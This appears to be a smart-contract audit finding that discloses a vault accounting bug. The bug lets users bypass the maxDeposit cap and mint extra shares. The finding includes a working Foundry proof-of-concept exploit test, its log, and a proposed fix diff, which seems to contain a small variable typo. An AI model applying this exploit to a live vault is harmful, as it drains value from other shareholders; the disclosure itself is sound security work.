Shiny Boysenberry Hyena

high

# Bypass vault's ````maxDeposit```` limit to mint extra share tokens and potentially gain huge risk free profit

## Summary
The vault has a ````maxDeposit```` design to control the overall risk which the protocol team is willing to suffer. This is useful especially at early stage of the protocol. e.g. the protocol team can buy $1M insurance from Sherlock and set ````maxDeposit = 1M````, in the case users would get enough paying back even vault's fund was drained due to undiscovered bug.

Meanwhile, if vault's max deposit reaches, it means that the market demand is greater than supply, but those extra demand can't be fulfilled by directly depositing fund to vault, users can only buy share tokens from existing holders with a bit higher price than the vault exchange rate. And vault share's market price would never be less than redeemable ````baseToken```` per share, as share holders can always withdraw at the bottom exchange rate from vault.

But the ````maxDeposit```` limit can be bypassed due to incorrect accounting for ````_state.liquidity.totalDeposit````, which causes attack available to mint and sell extra share tokens to gain huge potential risk free profit.

## Vulnerability Detail
The issue arises on L507 of ````_initiateWithdraw()````, the current algorithm can be bypassed by transferring out nearly all shares and withdrawing the remaining. e.g. if ````userDeposits == userShares == 100````, then transfer out 99 share token and withdraw the remaining 1 share token. As a result, the burned share token is only 1, but the decreased  ````totalDeposit```` is 100.
```solidity
File: src\Vault.sol
455:     function _initiateWithdraw(uint256 shares, bool isMax) internal {
...
507:         uint256 withdrawDepositEquivalent = (userDeposits * shares) / userShares;
508: 
509:         _state.liquidity.totalDeposit -= withdrawDepositEquivalent;
...
518:     }

```


The following coded PoC shows the full details how the attack works and gains potential risk free profit:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

import "./VaultState.t.sol";
import {Vm} from "forge-std/Vm.sol";
import "forge-std/console2.sol";

interface IERC20 {
    function decimals() external view returns(uint8);
    function balanceOf(address) external view returns(uint256);
    function mint(address, uint256) external;
    function transfer(address, uint256) external;
}

contract MimicVaultShareTokenMarket {
    Vault immutable _vault;
    uint8 immutable _decimals;
    IERC20 immutable _baseToken;
    constructor (Vault vault) {
        _vault = vault;
        _baseToken = IERC20(_vault.baseToken());
        _decimals = _baseToken.decimals();
    }

    function buy(uint256) external {
        // ...
    }

    function sell(uint256 share) external {
        _vault.transferFrom(msg.sender, address(this), share);
        uint256 amount = share * _price() / (10 ** _decimals);
        _baseToken.transfer(msg.sender, amount);
    }

    function _price() internal view returns(uint256) {
        // 1. vault share's market price would never be less than redeemable baseToken per share,
        //    as share holders can always withdraw at the bottom exchange rate from vault
        // 2. while vault's max deposit reaches, it means that the current market demand is greater
        //    than supply, but those extra demand can't be fulfilled by directly depositing 
        //    fund to vault, they must buy share tokens from existing holders with a bit higher
        //    price than the vault exchange rate
        uint256 notional = _vault.notional();
        uint256 totalShares = _vault.totalSupply();
        // let's say 10% higher
        return (notional * (10 ** _decimals)) * 110 / (totalShares * 100);
    }
}

contract VaultMaxDepositBugTest is VaultStateTest {
    uint256 constant MAX_DEPOSIT = 1_000_000e18;
    MimicVaultShareTokenMarket _market;
    address constant bob2 = address(0x32);
    function testVaultMaxDepositBug() public {
        // 1. set the max deposit
        vm.prank(admin);
        vault.setMaxDeposit(MAX_DEPOSIT);

        // 2. max deposit reaches
        VaultUtils.addVaultDeposit(alice, 900_000e18, admin, address(vault), vm);
        (, , , uint256 cumulativeAmount) = vault.depositReceipts(alice);
        assertEq(VaultUtils.vaultState(vault).liquidity.totalDeposit, 900_000e18);
        assertEq(cumulativeAmount, 900_000e18);

        VaultUtils.addVaultDeposit(bob, 100_000e18, admin, address(vault), vm);
        (, , , cumulativeAmount) = vault.depositReceipts(bob);
        assertEq(VaultUtils.vaultState(vault).liquidity.totalDeposit, MAX_DEPOSIT);
        assertEq(cumulativeAmount, 100_000e18);

        // 3. roll to next Epoch
        Utils.skipDay(true, vm);
        vm.prank(admin);
        vault.rollEpoch();

        //  4. transfer out nearly all shares and withdraw the remaining
        vm.startPrank(bob);
        vault.redeem(100_000e18);
        vault.transfer(bob2, 99_999e18);
        assertEq(vault.balanceOf(bob), 1e18);
        vault.initiateWithdraw(1e18);
        vm.stopPrank();

        Utils.skipDay(true, vm);
        vm.prank(admin);
        vault.rollEpoch();

        vm.prank(bob);
        vault.completeWithdraw();

        // 5. now, available to deposit more
        VaultUtils.addVaultDeposit(bob, 100_000e18, admin, address(vault), vm);
        assertEq(VaultUtils.vaultState(vault).liquidity.totalDeposit, MAX_DEPOSIT);
        Utils.skipDay(true, vm);
        vm.prank(admin);
        vault.rollEpoch();
        vm.prank(bob);
        vault.redeem(100_000e18);
        assertEq(vault.totalSupply(), MAX_DEPOSIT + 99_999e18);
        assertEq(vault.notional(), MAX_DEPOSIT + 99_999e18);

        // 6. create the mimic market, it could be CEX or DEX such as Uniswap pool
        _market = new MimicVaultShareTokenMarket(vault);
        vm.startPrank(admin);
        baseToken.mint(address(_market), 1e24);
        baseToken.setTransferRestriction(false); // in the mainnet USDC has no transfer limit
        vm.stopPrank();

        // 7. bob2 sells extra share tokens to market to gain risk free profit
        uint256 balanceBefore = IERC20(vault.baseToken()).balanceOf(bob2);
        vm.prank(bob2);
        vault.approve(address(_market), 99_999e18);
        vm.prank(bob2);
        _market.sell(99_999e18);
        uint256 balanceAfter = IERC20(vault.baseToken()).balanceOf(bob2);
        uint256 profit = balanceAfter - balanceBefore - 99_999e18;
        assertEq(profit, 99_999e17);
    }
}
```

And the logs:
```solidity
2024-02-smilee-finance\smilee-v2-contracts> forge test --match-test testVaultMaxDepositBug -vv
[⠰] Compiling...
[⠒] Compiling 1 files with 0.8.21Compiler run successful!
[⠑] Compiling 1 files with 0.8.21
[⠘] Solc 0.8.21 finished in 16.25s

Running 1 test for test/VaultMaxDepositBug.t.sol:VaultMaxDepositBugTest
[PASS] testVaultMaxDepositBug() (gas: 1957381)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 13.52ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```


## Impact
1) the protocol team suffers more risk than they feel comfortable
2) the attack would cause share token's market price decreases until the bottom exchange rate, all other share holders suffer financial losses

## Code Snippet
https://github.com/sherlock-audit/2024-02-smilee-finance/blob/main/smilee-v2-contracts/src/Vault.sol#L507
## Tool used

Manual Review

## Recommendation
```diff
diff --git a/smilee-v2-contracts/src/Vault.sol b/smilee-v2-contracts/src/Vault.sol
index 76bf0fb..1922bd1 100644
--- a/smilee-v2-contracts/src/Vault.sol
+++ b/smilee-v2-contracts/src/Vault.sol
@@ -506,7 +506,10 @@ contract Vault is IVault, ERC20, EpochControls, AccessControl, Pausable {

         uint256 withdrawDepositEquivalent = (userDeposits * shares) / userShares;

-        _state.liquidity.totalDeposit -= withdrawDepositEquivalent;
+        uint256 withdrawalShares = _state.withdrawals.newHeldShares;
+        uint256 adjustedTotalDeposit = _state.liquidity.totalDeposit - state.liquidity.pendingDeposits;
+        uint256 depositToRemove = adjustedTotalDeposit * shares / (totalSupply() - withdrawalShares);
+        _state.liquidity.totalDeposit -= depositToRemove;
         depositReceipt.cumulativeAmount -= withdrawDepositEquivalent;
         // -----------------------------
```
